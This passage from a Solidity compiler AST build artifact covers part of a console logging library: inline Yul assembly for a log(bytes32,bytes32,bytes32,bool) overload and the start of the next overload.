hift","nativeSrc":"393025:5:22","nodeType":"YulTypedName","src":"393025:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"393086:3:22","nodeType":"YulIdentifier","src":"393086:3:22"},{"kind":"number","nativeSrc":"393091:4:22","nodeType":"YulLiteral","src":"393091:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"393082:3:22","nodeType":"YulIdentifier","src":"393082:3:22"},"nativeSrc":"393082:14:22","nodeType":"YulFunctionCall","src":"393082:14:22"},{"arguments":[{"name":"shift","nativeSrc":"393102:5:22","nodeType":"YulIdentifier","src":"393102:5:22"},{"arguments":[{"name":"shift","nativeSrc":"393113:5:22","nodeType":"YulIdentifier","src":"393113:5:22"},{"name":"w","nativeSrc":"393120:1:22","nodeType":"YulIdentifier","src":"393120:1:22"}],"functionName":{"name":"shr","nativeSrc":"393109:3:22","nodeType":"YulIdentifier","src":"393109:3:22"},"nativeSrc":"393109:13:22","nodeType":"YulFunctionCall","src":"393109:13:22"}],"functionName":{"name":"shl","nativeSrc":"393098:3:22","nodeType":"YulIdentifier","src":"393098:3:22"},"nativeSrc":"393098:25:22","nodeType":"YulFunctionCall","src":"393098:25:22"}],"functionName":{"name":"mstore","nativeSrc":"393075:6:22","nodeType":"YulIdentifier","src":"393075:6:22"},"nativeSrc":"393075:49:22","nodeType":"YulFunctionCall","src":"393075:49:22"},"nativeSrc":"393075:49:22","nodeType":"YulExpressionStatement","src":"393075:49:22"}]},"name":"writeString","nativeSrc":"392796:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"392817:3:22","nodeType":"YulTypedName","src":"392817:3:22","type":""},{"name":"w","nativeSrc":"392822:1:22","nodeType":"YulTypedName","src":"392822:1:22","type":""}],"src":"392796:342:22"},{"nativeSrc":"393151:17:22","nodeType":"YulAssignment","src":"393151:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"393163:4:22","nodeType":"YulLiteral","src":"393163:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"393157:5:22","nodeType":"YulIdentifier","src":"393157:5:22"},"nativeSrc":"393157:11:22","nodeType":"YulFunctionCall","src":"393157:11:22"},"variableNames":[{"name":"m0","nativeSrc":"393151:2:22","nodeType":"YulIdentifier","src":"393151:2:22"}]},{"nativeSrc":"393181:17:22","nodeType":"YulAssignment","src":"393181:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"393193:4:22","nodeType":"YulLiteral","src":"393193:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"393187:5:22","nodeType":"YulIdentifier","src":"393187:5:22"},"nativeSrc":"393187:11:22","nodeType":"YulFunctionCall","src":"393187:11:22"},"variableNames":[{"name":"m1","nativeSrc":"393181:2:22","nodeType":"YulIdentifier","src":"393181:2:22"}]},{"nativeSrc":"393211:17:22","nodeType":"YulAssignment","src":"393211:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"393223:4:22","nodeType":"YulLiteral","src":"393223:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"393217:5:22","nodeType":"YulIdentifier","src":"393217:5:22"},"nativeSrc":"393217:11:22","nodeType":"YulFunctionCall","src":"393217:11:22"},"variableNames":[{"name":"m2","nativeSrc":"393211:2:22","nodeType":"YulIdentifier","src":"393211:2:22"}]},{"nativeSrc":"393241:17:22","nodeType":"YulAssignment","src":"393241:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"393253:4:22","nodeType":"YulLiteral","src":"393253:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"393247:5:22","nodeType":"YulIdentifier","src":"393247:5:22"},"nativeSrc":"393247:11:22","nodeType":"YulFunctionCall","src":"393247:11:22"},"variableNames":[{"name":"m3","nativeSrc":"393241:2:22","nodeType":"YulIdentifier","src":"393241:2:22"}]},{"nativeSrc":"393271:17:22","nodeType":"YulAssignment","src":"393271:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"393283:4:22","nodeType":"YulLiteral","src":"393283:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"393277:5:22","nodeType":"YulIdentifier","src":"393277:5:22"},"nativeSrc":"393277:11:22","nodeType":"YulFunctionCall","src":"393277:11:22"},"variableNames":[{"name":"m4","nativeSrc":"393271:2:22","nodeType":"YulIdentifier","src":"393271:2:22"}]},{"nativeSrc":"393301:17:22","nodeType":"YulAssignment","src":"393301:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"393313:4:22","nodeType":"YulLiteral","src":"393313:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"393307:5:22","nodeType":"YulIdentifier","src":"393307:5:22"},"nativeSrc":"393307:11:22","nodeType":"YulFunctionCall","src":"393307:11:22"},"variableNames":[{"name":"m5","nativeSrc":"393301:2:22","nodeType":"YulIdentifier","src":"393301:2:22"}]},{"nativeSrc":"393331:17:22","nodeType":"YulAssignment","src":"393331:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"393343:4:22","nodeType":"YulLiteral","src":"393343:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"393337:5:22","nodeType":"YulIdentifier","src":"393337:5:22"},"nativeSrc":"393337:11:22","nodeType":"YulFunctionCall","src":"393337:11:22"},"variableNames":[{"name":"m6","nativeSrc":"393331:2:22","nodeType":"YulIdentifier","src":"393331:2:22"}]},{"nativeSrc":"393361:17:22","nodeType":"YulAssignment","src":"393361:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"393373:4:22","nodeType":"YulLiteral","src":"393373:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"393367:5:22","nodeType":"YulIdentifier","src":"393367:5:22"},"nativeSrc":"393367:11:22","nodeType":"YulFunctionCall","src":"393367:11:22"},"variableNames":[{"name":"m7","nativeSrc":"393361:2:22","nodeType":"YulIdentifier","src":"393361:2:22"}]},{"nativeSrc":"393391:18:22","nodeType":"YulAssignment","src":"393391:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"393403:5:22","nodeType":"YulLiteral","src":"393403:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"393397:5:22","nodeType":"YulIdentifier","src":"393397:5:22"},"nativeSrc":"393397:12:22","nodeType":"YulFunctionCall","src":"393397:12:22"},"variableNames":[{"name":"m8","nativeSrc":"393391:2:22","nodeType":"YulIdentifier","src":"393391:2:22"}]},{"nativeSrc":"393422:18:22","nodeType":"YulAssignment","src":"393422:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"393434:5:22","nodeType":"YulLiteral","src":"393434:5:22","type":"","value":"0x120"}],"functionName":{"name":"mload","nativeSrc":"393428:5:22","nodeType":"YulIdentifier","src":"393428:5:22"},"nativeSrc":"393428:12:22","nodeType":"YulFunctionCall","src":"393428:12:22"},"variableNames":[{"name":"m9","nativeSrc":"393422:2:22","nodeType":"YulIdentifier","src":"393422:2:22"}]},{"nativeSrc":"393453:19:22","nodeType":"YulAssignment","src":"393453:19:22","value":{"arguments":[{"kind":"number","nativeSrc":"393466:5:22","nodeType":"YulLiteral","src":"393466:5:22","type":"","value":"0x140"}],"functionName":{"name":"mload","nativeSrc":"393460:5:22","nodeType":"YulIdentifier","src":"393460:5:22"},"nativeSrc":"393460:12:22","nodeType":"YulFunctionCall","src":"393460:12:22"},"variableNames":[{"name":"m10","nativeSrc":"393453:3:22","nodeType":"YulIdentifier","src":"393453:3:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"393553:4:22","nodeType":"YulLiteral","src":"393553:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"393559:10:22","nodeType":"YulLiteral","src":"393559:10:22","type":"","value":"0x2c1754ed"}],"functionName":{"name":"mstore","nativeSrc":"393546:6:22","nodeType":"YulIdentifier","src":"393546:6:22"},"nativeSrc":"393546:24:22","nodeType":"YulFunctionCall","src":"393546:24:22"},"nativeSrc":"393546:24:22","nodeType":"YulExpressionStatement","src":"393546:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"393590:4:22","nodeType":"YulLiteral","src":"393590:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"393596:4:22","nodeType":"YulLiteral","src":"393596:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"393583:6:22","nodeType":"YulIdentifier","src":"393583:6:22"},"nativeSrc":"393583:18:22","nodeType":"YulFunctionCall","src":"393583:18:22"},"nativeSrc":"393583:18:22","nodeType":"YulExpressionStatement","src":"393583:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"393621:4:22","nodeType":"YulLiteral","src":"393621:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"393627:4:22","nodeType":"YulLiteral","src":"393627:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"393614:6:22","nodeType":"YulIdentifier","src":"393614:6:22"},"nativeSrc":"393614:18:22","nodeType":"YulFunctionCall","src":"393614:18:22"},"nativeSrc":"393614:18:22","nodeType":"YulExpressionStatement","src":"393614:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"393652:4:22","nodeType":"YulLiteral","src":"393652:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"393658:5:22","nodeType":"YulLiteral","src":"393658:5:22","type":"","value":"0x100"}],"functionName":{"name":"mstore","nativeSrc":"393645:6:22","nodeType":"YulIdentifier","src":"393645:6:22"},"nativeSrc":"393645:19:22","nodeType":"YulFunctionCall","src":"393645:19:22"},"nativeSrc":"393645:19:22","nodeType":"YulExpressionStatement","src":"393645:19:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"393684:4:22","nodeType":"YulLiteral","src":"393684:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"393690:2:22","nodeType":"YulIdentifier","src":"393690:2:22"}],"functionName":{"name":"mstore","nativeSrc":"393677:6:22","nodeType":"YulIdentifier","src":"393677:6:22"},"nativeSrc":"393677:16:22","nodeType":"YulFunctionCall","src":"393677:16:22"},"nativeSrc":"393677:16:22","nodeType":"YulExpressionStatement","src":"393677:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"393718:4:22","nodeType":"YulLiteral","src":"393718:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"393724:2:22","nodeType":"YulIdentifier","src":"393724:2:22"}],"functionName":{"name":"writeString","nativeSrc":"393706:11:22","nodeType":"YulIdentifier","src":"393706:11:22"},"nativeSrc":"393706:21:22","nodeType":"YulFunctionCall","src":"393706:21:22"},"nativeSrc":"393706:21:22","nodeType":"YulExpressionStatement","src":"393706:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"393752:4:22","nodeType":"YulLiteral","src":"393752:4:22","type":"","value":"0xe0"},{"name":"p1","nativeSrc":"393758:2:22","nodeType":"YulIdentifier","src":"393758:2:22"}],"functionName":{"name":"writeString","nativeSrc":"393740:11:22","nodeType":"YulIdentifier","src":"393740:11:22"},"nativeSrc":"393740:21:22","nodeType":"YulFunctionCall","src":"393740:21:22"},"nativeSrc":"393740:21:22","nodeType":"YulExpressionStatement","src":"393740:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"393786:5:22","nodeType":"YulLiteral","src":"393786:5:22","type":"","value":"0x120"},{"name":"p2","nativeSrc":"393793:2:22","nodeType":"YulIdentifier","src":"393793:2:22"}],"functionName":{"name":"writeString","nativeSrc":"393774:11:22","nodeType":"YulIdentifier","src":"393774:11:22"},"nativeSrc":"393774:22:22","nodeType":"YulFunctionCall","src":"393774:22:22"},"nativeSrc":"393774:22:22","nodeType":"YulExpressionStatement","src":"393774:22:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46436,"isOffset":false,"isSlot":false,"src":"393151:2:22","valueSize":1},{"declaration":46439,"isOffset":false,"isSlot":false,"src":"393181:2:22","valueSize":1},{"declaration":46466,"isOffset":false,"isSlot":false,"src":"393453:3:22","valueSize":1},{"declaration":46442,"isOffset":false,"isSlot":false,"src":"393211:2:22","valueSize":1},{"declaration":46445,"isOffset":false,"isSlot":false,"src":"393241:2:22","valueSize":1},{"declaration":46448,"isOffset":false,"isSlot":false,"src":"393271:2:22","valueSize":1},{"declaration":46451,"isOffset":false,"isSlot":false,"src":"393301:2:22","valueSize":1},{"declaration":46454,"isOffset":false,"isSlot":false,"src":"393331:2:22","valueSize":1},{"declaration":46457,"isOffset":false,"isSlot":false,"src":"393361:2:22","valueSize":1},{"declaration":46460,"isOffset":false,"isSlot":false,"src":"393391:2:22","valueSize":1},{"declaration":46463,"isOffset":false,"isSlot":false,"src":"393422:2:22","valueSize":1},{"declaration":46426,"isOffset":false,"isSlot":false,"src":"393724:2:22","valueSize":1},{"declaration":46428,"isOffset":false,"isSlot":false,"src":"393758:2:22","valueSize":1},{"declaration":46430,"isOffset":false,"isSlot":false,"src":"393793:2:22","valueSize":1},{"declaration":46432,"isOffset":false,"isSlot":false,"src":"393690:2:22","valueSize":1}],"id":46468,"nodeType":"InlineAssembly","src":"392773:1033:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":46470,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"393831:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313434","id":46471,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"393837:5:22","typeDescriptions":{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"},"value":"0x144"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_324_by_1","typeString":"int_const 324"}],"id":46469,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"393815:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":46472,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"393815:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":46473,"nodeType":"ExpressionStatement","src":"393815:28:22"},{"AST":{"nativeSrc":"393862:334:22","nodeType":"YulBlock","src":"393862:334:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"393883:4:22","nodeType":"YulLiteral","src":"393883:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"393889:2:22","nodeType":"YulIdentifier","src":"393889:2:22"}],"functionName":{"name":"mstore","nativeSrc":"393876:6:22","nodeType":"YulIdentifier","src":"393876:6:22"},"nativeSrc":"393876:16:22","nodeType":"YulFunctionCall","src":"393876:16:22"},"nativeSrc":"393876:16:22","nodeType":"YulExpressionStatement","src":"393876:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"393912:4:22","nodeType":"YulLiteral","src":"393912:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"393918:2:22","nodeType":"YulIdentifier","src":"393918:2:22"}],"functionName":{"name":"mstore","nativeSrc":"393905:6:22","nodeType":"YulIdentifier","src":"393905:6:22"},"nativeSrc":"393905:16:22","nodeType":"YulFunctionCall","src":"393905:16:22"},"nativeSrc":"393905:16:22","nodeType":"YulExpressionStatement","src":"393905:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"393941:4:22","nodeType":"YulLiteral","src":"393941:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"393947:2:22","nodeType":"YulIdentifier","src":"393947:2:22"}],"functionName":{"name":"mstore","nativeSrc":"393934:6:22","nodeType":"YulIdentifier","src":"393934:6:22"},"nativeSrc":"393934:16:22","nodeType":"YulFunctionCall","src":"393934:16:22"},"nativeSrc":"393934:16:22","nodeType":"YulExpressionStatement","src":"393934:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"393970:4:22","nodeType":"YulLiteral","src":"393970:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"393976:2:22","nodeType":"YulIdentifier","src":"393976:2:22"}],"functionName":{"name":"mstore","nativeSrc":"393963:6:22","nodeType":"YulIdentifier","src":"393963:6:22"},"nativeSrc":"393963:16:22","nodeType":"YulFunctionCall","src":"393963:16:22"},"nativeSrc":"393963:16:22","nodeType":"YulExpressionStatement","src":"393963:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"393999:4:22","nodeType":"YulLiteral","src":"393999:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"394005:2:22","nodeType":"YulIdentifier","src":"394005:2:22"}],"functionName":{"name":"mstore","nativeSrc":"393992:6:22","nodeType":"YulIdentifier","src":"393992:6:22"},"nativeSrc":"393992:16:22","nodeType":"YulFunctionCall","src":"393992:16:22"},"nativeSrc":"393992:16:22","nodeType":"YulExpressionStatement","src":"393992:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"394028:4:22","nodeType":"YulLiteral","src":"394028:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"394034:2:22","nodeType":"YulIdentifier","src":"394034:2:22"}],"functionName":{"name":"mstore","nativeSrc":"394021:6:22","nodeType":"YulIdentifier","src":"394021:6:22"},"nativeSrc":"394021:16:22","nodeType":"YulFunctionCall","src":"394021:16:22"},"nativeSrc":"394021:16:22","nodeType":"YulExpressionStatement","src":"394021:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"394057:4:22","nodeType":"YulLiteral","src":"394057:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"394063:2:22","nodeType":"YulIdentifier","src":"394063:2:22"}],"functionName":{"name":"mstore","nativeSrc":"394050:6:22","nodeType":"YulIdentifier","src":"394050:6:22"},"nativeSrc":"394050:16:22","nodeType":"YulFunctionCall","src":"394050:16:22"},"nativeSrc":"394050:16:22","nodeType":"YulExpressionStatement","src":"394050:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"394086:4:22","nodeType":"YulLiteral","src":"394086:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"394092:2:22","nodeType":"YulIdentifier","src":"394092:2:22"}],"functionName":{"name":"mstore","nativeSrc":"394079:6:22","nodeType":"YulIdentifier","src":"394079:6:22"},"nativeSrc":"394079:16:22","nodeType":"YulFunctionCall","src":"394079:16:22"},"nativeSrc":"394079:16:22","nodeType":"YulExpressionStatement","src":"394079:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"394115:5:22","nodeType":"YulLiteral","src":"394115:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"394122:2:22","nodeType":"YulIdentifier","src":"394122:2:22"}],"functionName":{"name":"mstore","nativeSrc":"394108:6:22","nodeType":"YulIdentifier","src":"394108:6:22"},"nativeSrc":"394108:17:22","nodeType":"YulFunctionCall","src":"394108:17:22"},"nativeSrc":"394108:17:22","nodeType":"YulExpressionStatement","src":"394108:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"394145:5:22","nodeType":"YulLiteral","src":"394145:5:22","type":"","value":"0x120"},{"name":"m9","nativeSrc":"394152:2:22","nodeType":"YulIdentifier","src":"394152:2:22"}],"functionName":{"name":"mstore","nativeSrc":"394138:6:22","nodeType":"YulIdentifier","src":"394138:6:22"},"nativeSrc":"394138:17:22","nodeType":"YulFunctionCall","src":"394138:17:22"},"nativeSrc":"394138:17:22","nodeType":"YulExpressionStatement","src":"394138:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"394175:5:22","nodeType":"YulLiteral","src":"394175:5:22","type":"","value":"0x140"},{"name":"m10","nativeSrc":"394182:3:22","nodeType":"YulIdentifier","src":"394182:3:22"}],"functionName":{"name":"mstore","nativeSrc":"394168:6:22","nodeType":"YulIdentifier","src":"394168:6:22"},"nativeSrc":"394168:18:22","nodeType":"YulFunctionCall","src":"394168:18:22"},"nativeSrc":"394168:18:22","nodeType":"YulExpressionStatement","src":"394168:18:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":46436,"isOffset":false,"isSlot":false,"src":"393889:2:22","valueSize":1},{"declaration":46439,"isOffset":false,"isSlot":false,"src":"393918:2:22","valueSize":1},{"declaration":46466,"isOffset":false,"isSlot":false,"src":"394182:3:22","valueSize":1},{"declaration":46442,"isOffset":false,"isSlot":false,"src":"393947:2:22","valueSize":1},{"declaration":46445,"isOffset":false,"isSlot":false,"src":"393976:2:22","valueSize":1},{"declaration":46448,"isOffset":false,"isSlot":false,"src":"394005:2:22","valueSize":1},{"declaration":46451,"isOffset":false,"isSlot":false,"src":"394034:2:22","valueSize":1},{"declaration":46454,"isOffset":false,"isSlot":false,"src":"394063:2:22","valueSize":1},{"declaration":46457,"isOffset":false,"isSlot":false,"src":"394092:2:22","valueSize":1},{"declaration":46460,"isOffset":false,"isSlot":false,"src":"394122:2:22","valueSize":1},{"declaration":46463,"isOffset":false,"isSlot":false,"src":"394152:2:22","valueSize":1}],"id":46474,"nodeType":"InlineAssembly","src":"393853:343:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"392479:3:22","parameters":{"id":46433,"nodeType":"ParameterList","parameters":[{"constant":false,"id":46426,"mutability":"mutable","name":"p0","nameLocation":"392491:2:22","nodeType":"VariableDeclaration","scope":46476,"src":"392483:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46425,"name":"bytes32","nodeType":"ElementaryTypeName","src":"392483:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46428,"mutability":"mutable","name":"p1","nameLocation":"392503:2:22","nodeType":"VariableDeclaration","scope":46476,"src":"392495:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46427,"name":"bytes32","nodeType":"ElementaryTypeName","src":"392495:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46430,"mutability":"mutable","name":"p2","nameLocation":"392515:2:22","nodeType":"VariableDeclaration","scope":46476,"src":"392507:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46429,"name":"bytes32","nodeType":"ElementaryTypeName","src":"392507:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":46432,"mutability":"mutable","name":"p3","nameLocation":"392524:2:22","nodeType":"VariableDeclaration","scope":46476,"src":"392519:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":46431,"name":"bool","nodeType":"ElementaryTypeName","src":"392519:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"392482:45:22"},"returnParameters":{"id":46434,"nodeType":"ParameterList","parameters":[],"src":"392542:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":46528,"nodeType":"FunctionDefinition","src":"394208:1738:22","nodes":[],"body":{"id":46527,"nodeType":"Block","src":"394283:1663:22","nodes":[],"statements":[{"assignments":[46488],"declarations":[{"constant":false,"id":46488,"mutability":"mutable","name":"m0","nameLocation":"394301:2:22","nodeType":"VariableDeclaration","scope":46527,"src":"394293:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46487,"name":"bytes32","nodeType":"ElementaryTypeName","src":"394293:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46489,"nodeType":"VariableDeclarationStatement","src":"394293:10:22"},{"assignments":[46491],"declarations":[{"constant":false,"id":46491,"mutability":"mutable","name":"m1","nameLocation":"394321:2:22","nodeType":"VariableDeclaration","scope":46527,"src":"394313:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46490,"name":"bytes32","nodeType":"ElementaryTypeName","src":"394313:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46492,"nodeType":"VariableDeclarationStatement","src":"394313:10:22"},{"assignments":[46494],"declarations":[{"constant":false,"id":46494,"mutability":"mutable","name":"m2","nameLocation":"394341:2:22","nodeType":"VariableDeclaration","scope":46527,"src":"394333:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46493,"name":"bytes32","nodeType":"ElementaryTypeName","src":"394333:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46495,"nodeType":"VariableDeclarationStatement","src":"394333:10:22"},{"assignments":[46497],"declarations":[{"constant":false,"id":46497,"mutability":"mutable","name":"m3","nameLocation":"394361:2:22","nodeType":"VariableDeclaration","scope":46527,"src":"394353:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46496,"name":"bytes32","nodeType":"ElementaryTypeName","src":"394353:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46498,"nodeType":"VariableDeclarationStatement","src":"394353:10:22"},{"assignments":[46500],"declarations":[{"constant":false,"id":46500,"mutability":"mutable","name":"m4","nameLocation":"394381:2:22","nodeType":"VariableDeclaration","scope":46527,"src":"394373:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46499,"name":"bytes32","nodeType":"ElementaryTypeName","src":"394373:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46501,"nodeType":"VariableDeclarationStatement","src":"394373:10:22"},{"assignments":[46503],"declarations":[{"constant":false,"id":46503,"mutability":"mutable","name":"m5","nameLocation":"394401:2:22","nodeType":"VariableDeclaration","scope":46527,"src":"394393:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46502,"name":"bytes32","nodeType":"ElementaryTypeName","src":"394393:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46504,"nodeType":"VariableDeclarationStatement","src":"394393:10:22"},{"assignments":[46506],"declarations":[{"constant":false,"id":46506,"mutability":"mutable","name":"m6","nameLocation":"394421:2:22","nodeType":"VariableDeclaration","scope":46527,"src":"394413:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46505,"name":"bytes32","nodeType":"ElementaryTypeName","src":"394413:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46507,"nodeType":"VariableDeclarationStatement","src":"394413:10:22"},{"assignments":[46509],"declarations":[{"constant":false,"id":46509,"mutability":"mutable","name":"m7","nameLocation":"394441:2:22","nodeType":"VariableDeclaration","scope":46527,"src":"394433:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46508,"name":"bytes32","nodeType":"ElementaryTypeName","src":"394433:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46510,"nodeType":"VariableDeclarationStatement","src":"394433:10:22"},{"assignments":[46512],"declarations":[{"constant":false,"id":46512,"mutability":"mutable","name":"m8","nameLocation":"394461:2:22","nodeType":"VariableDeclaration","scope":46527,"src":"394453:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46511,"name":"bytes32","nodeType":"ElementaryTypeName","src":"394453:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46513,"nodeType":"VariableDeclarationStatement","src":"394453:10:22"},{"assignments":[46515],"declarations":[{"constant":false,"id":46515,"mutability":"mutable","name":"m9","nameLocation":"394481:2:22","nodeType":"VariableDeclaration","scope":46527,"src":"394473:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46514,"name":"bytes32","nodeType":"ElementaryTypeName","src":"394473:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46516,"nodeType":"VariableDeclarationStatement","src":"394473:10:22"},{"assignments":[46518],"declarations":[{"constant":false,"id":46518,"mutability":"mutable","name":"m10","nameLocation":"394501:3:22","nodeType":"VariableDeclaration","scope":46527,"src":"394493:11:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":46517,"name":"bytes32","nodeType":"ElementaryTypeName","src":"394493:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":46519,"nodeType":"VariableDeclarationStatement","src":"394493:11:22"},{"AST":{"nativeSrc":"394523:1027:22","nodeType":"YulBlock","src":"394523:1027:22","statements":[{"body":{"nativeSrc":"394566:313:22","nodeType":"YulBlock","src":"394566:313:22","statements":[{"nativeSrc":"394584:15:22","nodeType":"YulVariableDeclaration","src":"394584:15:22